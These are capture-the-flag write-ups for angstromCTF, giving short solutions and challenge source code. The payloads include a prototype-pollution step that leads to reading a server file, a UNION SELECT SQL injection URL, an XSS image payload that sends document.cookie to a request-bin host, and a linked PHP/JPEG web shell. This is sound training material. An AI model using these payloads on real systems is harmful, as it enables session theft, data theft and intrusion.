# angstromCTF writeups ## CaaSio ```js ((Math)=>(Math=Math.__proto__,Math.trusted=1))(Math) ``` This sets `Math.__proto__.trusted` to `1` using arrow functions and clever variable scoping. This means that `user.trusted` will evaluate to `1` since the property is not defined. Then you can just send `require("fs").readFileSync("/ctf/flag.txt", "utf8")` to get the flag. ## Inputter There are many ways you can script this, but the easiest way is actually right on the shell: ```bash echo -e "\x00\x01\x02\x03" | ./inputter $'\x20\n\x27\x22\x07' ``` ## clam clam clam Pipe the output to a text file, get rid of carriage returns, and you will see `type "clamclam" for salvation`. Type "clamclam" while connected to the netcat and you get the flag. ## The Magic Word Go into inspect element, and replace "give flag" with "please give flag" to get the flag. ## A Peculiar Query We'll use array query strings to abuse the program. ``` https://peculiarquery.2020.chall.actf.co/?q[]=%27%20UNION%20SELECT%20Crime%20FROM%20Criminals%20--%20&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=&q[]=%27 ``` We add a single quote in the last query in order to trigger the filter and cause JS type coercion to add two arrays, causing the query to become a string and `substring` not to error. ## Xmas Still Stands This is a pretty standard XSS challenge. Be careful not to use `<script>` since the post is dynamically introduced to the page. ```html <img src=x onerror='fetch("http://www.requestbinurl/?" + document.cookie)'> ``` ## Git Good You could do research on git file structure, or you could just `git clone` then `git revert` to the older version to get the flag. ## Defund's Crypt This is a PHP/image polyglot. You can just add the 4 signature bytes of a JPEG to the beginning of a PHP file and it'll work, or just [find an exploit online](https://github.com/jgor/php-jpeg-shell). ## Wooooosh If you look at the web data you'll notice socket.io is being used, so just download `socket.io` and write a script to click the circles. Alternatively, just modify the `getCursorPosition` function in the obfuscated code to ```js function getCursorPosition(_0x2b237a, _0x380ec8) { return [shapes[0].x, shapes[0].y]; } ``` and click away. ## Deja Vu You can figure out the FIFO being used either via getting the child PID and seeding `srand` yourself or by running `lsof` and grepping for your process. After that, just write to the FIFO and it's basic buffer overflow. ## LIBrary in C This is a pretty standard libc address leak followed by a GOT overwrite with printf. There are many tutorials you can sesarch up for this. ## Windows of Opportunity The flag is in plaintext in the binary. ## Revving Up Just do as the binary says. ## Taking Off Dissassemble in GHIDRA to find that the first 3 command line args are numbers that we'll call `n1`, `n2`, and `n3`. `n2 * 100 + n1 * 10 + n3` must equal `932`, so the numbers are `3`, `9`, and `2`. Also the fourth argument must be `chicken`. Then, there's a simple XOR cipher comparing your input to some data xor 42, which you can calculate to be "please give flag". Here's the original source: ```c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #define FLAGSIZE 128 char desired[] = {90, 70, 79, 75, 89, 79, 10, 77, 67, 92, 79, 10, 76, 70, 75, 77, 42}; void print_flag() { gid_t gid = getegid(); setresgid(gid, gid, gid); FILE *file = fopen("flag.txt", "r"); char flag[FLAGSIZE]; if (file == NULL) { printf("Cannot read flag file.\n"); exit(1); } fgets(flag, FLAGSIZE, file); printf("%s", flag); } int string_to_int(char* str, int* num) { sscanf(str, "%d", num); } int is_invalid(int num) { return num < 0 || num >= 10; } int main(int argc, char* argv[]) { puts("So you figured out how to provide input and command line arguments."); puts("But can you figure out what input to provide?"); if (argc != 5) { puts("Make sure you have the correct amount of command line arguments!"); return 1; } int n1, n2, n3; string_to_int(argv[1], &n1); string_to_int(argv[2], &n2); string_to_int(argv[3], &n3); if (is_invalid(n1) || is_invalid(n2) || is_invalid(n3) || n2 * 100 + n1 * 10 + n3 != 932 || strcmp(argv[4], "chicken")) { puts("Don't try to guess the arguments, it won't work."); return 1; } puts("Well, you found the arguments, but what's the password?"); char inp[128]; fgets(inp, 128, stdin); char* newline = strchr(inp, '\n'); if (newline) { *newline = 0; } int len = strlen(inp); for (int i = 0; i <= len; i ++) { if ((inp[i] ^ 42) != desired[i]) { puts("I'm sure it's just a typo. Try again."); return 1; } } puts("Good job! You're ready to move on to bigger and badder rev!"); print_flag(); } ``` ## Patcherman Patch the binary in a tool like GHIDRA or a hex editor (but if you use GHIDRA make sure to select "raw binary" otherwise it won't work), and replace the serial of `0xf00dbabe` with `0x1337beef`, then just run the binary to get the flag. Here's the full source: ```c #include <stdio.h> #include <sys/ptrace.h> #include <unistd.h> #include <sys/types.h> #include <stdlib.h> #include <signal.h> unsigned int serial = 0xf00dbabe; int status = 0xff; unsigned int reg; union { int ints[7]; char chars[28]; } vals; int something[] = {0x5cd883ea, 0xef6680c0, 0xafcc7086, 0x7e3ab87f, 0x7dc5773a, 0x38208035, 0x0456c3f5}; int gb(int n, int b) { return (n >> b) & 1; } unsigned int gen() { unsigned int n = gb(reg, 0) ^ gb(reg, 2) ^ gb(reg, 3) ^ gb(reg, 5); reg >>= 1; reg |= n << (sizeof(reg) * 8 - 1); return reg; } unsigned int garble(unsigned int a, unsigned int b) { return a + b; } int main() { setvbuf(stdout, NULL, _IONBF, 0); status = ptrace(PTRACE_TRACEME, 1337, 0x1337, 1337); if (status == -1 || serial != 0x1337beef) { printf("Hey you're not supposed to get the flag! Freeze!\n"); signal(SIGINT, SIG_IGN); signal(SIGTERM, SIG_IGN); signal(SIGABRT, SIG_IGN); while (1) {} } reg = serial; for (int i = 0; i < 7; i ++) { vals.ints[i] = garble(something[i] ^ status, gen()); } printf("Here have a flag:\n%s\n", vals.chars); } ``` ## A Happy Family There's some sort of base conversion going on, however due to the charset containing two of the same letter, you have to bash all the possibilities and compare to the sha hash given in the problem. ## Autorev, Assemble! You can disassemble with `objdump -d` and then write a program to parse the disassembly and get the flag from there. I don't think you want to see the full source for this. ## Signal of Hope This was supposed to be a hard rev challenge but I forgot that you can just send a `SIGABRT` right after starting it to cause it to just print the flag. Sad :( ## Masochistic Sudoku The board checked some values by generating a number based on the position and value, then xorred, multiplied, and modded the number. Then it seeded an RNG and called rand. You can just bruteforce the seed because it's guaranteed to be small, then use modular division and xor again to get the original value, from which you can deduce the value. Then, just solve the sudoku and you're done. Full source (in badly written C lmao): ```c #define _GNU_SOURCE #include <ncurses.h> #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define PEQ(A, B, C, D) \ (((A) == (C) && (B) == (D)) || ((A) == (D) && (B) == (C))) #define PEQS(A, B, C, D) ((A) == (C) && (B) == (D)) #define ABS(A) (((A) < 0) ? -(A) : (A)) #define MIN(A, B) (((A) < (B)) ? (A) : (B)) #define MAX(A, B) (((A) > (B)) ? (A) : (B)) #define BOUND(A, L, H) MAX(MIN(A, H), L) #define ITER(A, B, C) for (int C = MIN(A, B); C < MAX(A, B); C++) #define RETI(A, B, C) for (int C = MAX(A, B); C > MIN(A, B); C--) #define ITEREQ(A, B, C) for (int C = MIN(A, B); C <= MAX(A, B); C++) #define RETIEQ(A, B, C) for (int C = MAX(A, B); C >= MIN(A, B); C--) #define ITERNEQ(A, B, C) for (int C = MIN(A, B) + 1; C < MAX(A, B); C++) #define RETINEQ(A, B, C) for (int C = MAX(A, B) - 1; C > MIN(A, B); C--) #define DIR(A, B) (((A) == (B)) ? 0 : ((A) < (B)) ? 1 : -1) #define GOTO(A, B, C) for (int C = (A); C != (B); C += DIR(A, B)) #define GOTOEQ(A, B, C) for (int C = (A); C != (B) + DIR(A, B); C += DIR(A, B)) #define GOTONEQ(A, B, C) for (int C = (A) + DIR(A, B); C != (B); C += DIR(A, B)) #define ATER(A, B, C, D, E, F) \ (((A) && (B)) ? (F) : (A) ? (D) : (B) ? (E) : (C)) #define NATER(A, B, C, D, E, F) ATER(!(A), !(B), C, D, E, F) #define CORNER '+' #define VERT '|' #define HORIZ '-' #define BLANK ' ' #define FLAGSIZE 128 void print_flag() { gid_t gid = getegid(); setresgid(gid, gid, gid); FILE *file = fopen("flag.txt", "r"); char flag[FLAGSIZE]; if (file == NULL) { printf("Cannot read flag file.\n"); exit(1); } fgets(flag, FLAGSIZE, file); printf("%s", flag); } int cur_r = 0; int cur_c = 0; int board[9][9]; int seen[10]; int is_number(char c) { return (c >= '0') && (c <= '9'); } int char_to_num(char c) { return c - '0'; } char num_to_char(int n) { return n + '0'; } char val_to_disp(int n) { if (n == 0) { return BLANK; } return num_to_char(n); } void update_cursor(int nr, int nc) { attron(COLOR_PAIR(2)); mvaddch(cur_r * 2 + 1, cur_c * 4 + 2, val_to_disp(board[cur_r][cur_c])); attroff(COLOR_PAIR(2)); cur_r = (nr + 9) % 9; cur_c = (nc + 9) % 9; attron(COLOR_PAIR(3)); mvaddch(cur_r * 2 + 1, cur_c * 4 + 2, val_to_disp(board[cur_r][cur_c])); attroff(COLOR_PAIR(3)); } void advance_cursor() { int nr = cur_r; int nc = cur_c + 1; if (nc >= 9) { nc %= 9; nr ++; nr %= 9; } update_cursor(nr, nc); } void update_board() { attron(COLOR_PAIR(2)); for (int i = 0; i < 9; i++) { for (int j = 0; j < 9; j++) { mvaddch(i * 2 + 1, j * 4 + 2, val_to_disp(board[i][j])); } } attroff(COLOR_PAIR(2)); update_cursor(cur_r, cur_c); } int gen_value(int r, int c, int v) { int k = r * 100 + c * 10 + v; k = ((k ^ 42) * 13) % 10067; srand(k); return rand(); } void assert(int x) { if (!x) { puts("Sorry but no flag"); exit(1); } } void reset_seen() { for (int i = 0; i < 10; i ++) { seen[i] = 0; } } void check_flag() { assert(gen_value(0, 0, board[0][0]) == 1754831936); assert(gen_value(0, 4, board[0][4]) == 1322670498); assert(gen_value(0, 6, board[0][6]) == 2075469024); assert(gen_value(0, 7, board[0][7]) == 1924349448); assert(gen_value(1, 2, board[1][2]) == 1737338032); assert(gen_value(1, 4, board[1][4]) == 382094521); assert(gen_value(1, 5, board[1][5]) == 2003484635); assert(gen_value(1, 6, board[1][6]) == 1224890436); assert(gen_value(2, 4, board[2][4]) == 613863398); assert(gen_value(2, 5, board[2][5]) == 2131248558); assert(gen_value(2, 7, board[2][7]) == 1855404474); assert(gen_value(3, 0, board[3][0]) == 203716718); assert(gen_value(3, 2, board[3][2]) == 2132752585); assert(gen_value(4, 0, board[4][0]) == 54194304); assert(gen_value(4, 1, board[4][1]) == 548400147); assert(gen_value(4, 7, board[4][7]) == 2040844259); assert(gen_value(4, 8, board[4][8]) == 348846481); assert(gen_value(5, 6, board[5][6]) == 712829567); assert(gen_value(5, 8, board[5][8]) == 198917626); assert(gen_value(6, 1, board[6][1]) == 1999818593); assert(gen_value(6, 3, board[6][3]) == 47214827); assert(gen_value(6, 4, board[6][4]) == 117615071); assert(gen_value(7, 2, board[7][2]) == 1948118465); assert(gen_value(7, 3, board[7][3]) == 345110140); assert(gen_value(7, 4, board[7][4]) == 2113220118); assert(gen_value(7, 6, board[7][6]) == 443730372); assert(gen_value(8, 1, board[8][1]) == 2136198019); assert(gen_value(8, 2, board[8][2]) == 1427855150); assert(gen_value(8, 4, board[8][4]) == 323649682); assert(gen_value(8, 8, board[8][8]) == 1443247958); for (int r = 0; r < 9; r ++) { reset_seen(); for (int c = 0; c < 9; c ++) { assert(board[r][c]); assert(!seen[board[r][c]]); seen[board[r][c]] = 1; } } for (int c = 0; c < 9; c ++) { reset_seen(); for (int r = 0; r < 9; r ++) { assert(!seen[board[r][c]]); seen[board[r][c]] = 1; } } for (int a = 0; a < 3; a ++) { for (int b = 0; b < 3; b ++) { reset_seen(); for (int r = 0; r < 3; r ++) { for (int c = 0; c < 3; c ++) { assert(!seen[board[3 * a + r][3 * b + c]]); seen[board[3 * a + r][3 * b + c]] = 1; } } } } puts("Wow you're good at sudoku!"); print_flag(); } int main() { initscr(); cbreak(); noecho(); keypad(stdscr, TRUE); start_color(); use_default_colors(); curs_set(0); init_pair(1, COLOR_WHITE, -1); init_pair(2, COLOR_CYAN, -1); init_pair(3, COLOR_CYAN, COLOR_RED); attron(COLOR_PAIR(1)); for (int i = 0; i < 9 * 2 + 1; i++) { for (int j = 0; j < 9 * 4 + 1; j++) { mvaddch(i, j, NATER(i % 2, j % 4, BLANK, HORIZ, VERT, CORNER) | ((!(i % 6) || !(j % 12)) ? A_BOLD : 0)); } } attroff(COLOR_PAIR(1)); update_board(); update_cursor(0, 0); while (1) { refresh(); int inp = getch(); if (inp == KEY_LEFT || inp == 'a') { update_cursor(cur_r, cur_c - 1); } else if (inp == KEY_RIGHT || inp == 'd') { update_cursor(cur_r, cur_c + 1); } else if (inp == KEY_DOWN || inp == 's') { update_cursor(cur_r + 1, cur_c); } else if (inp == KEY_UP || inp == 'w') { update_cursor(cur_r - 1, cur_c); } else if (inp == 'q' || inp == KEY_ENTER) { break; } else if (inp == '0' || inp == KEY_BACKSPACE || inp == ' ') { board[cur_r][cur_c] = 0; update_board(); advance_cursor(); } else if (is_number(inp)) { board[cur_r][cur_c] = char_to_num(inp); update_board(); advance_cursor(); } } delwin(stdscr); endwin(); refresh(); check_flag(); } ``` ## Just Rust You don't have to reverse the rust program, but you can if you want. However, you can notice that one character in your input modifies some specific bit values in some specific output characters, so you can reassemble the flag given those positions. Full source: ```rust use std::io; use std::process::exit; fn print_state(state: [[u8; 8]; 8]) { for i in 0..8 { for j in 0..8 { let dchar: char = state[i][j] as char; print!("{}", dchar) } println!(); } } fn main() { println!("What do you want to encode?"); let mut input = String::new(); io::stdin().read_line(&mut input).expect("Cannot read input."); input = input.trim().to_string(); if input.len() != 32 { println!("Input must be 32 characters."); exit(1); } let mut state: [[u8; 8]; 8] = [[b'\x40'; 8]; 8]; for (i, chr) in input.chars().enumerate() { let bit: u8 = (i as u8) / 8; let mut vals = [b'\x00'; 2]; chr.encode_utf8(&mut vals); for j in 0..8 { let desired: u8 = (vals[0] & (1 << j)) >> j; state[j][(i + j) % 8] |= (desired << bit) as u8; } } print_state(state); } ```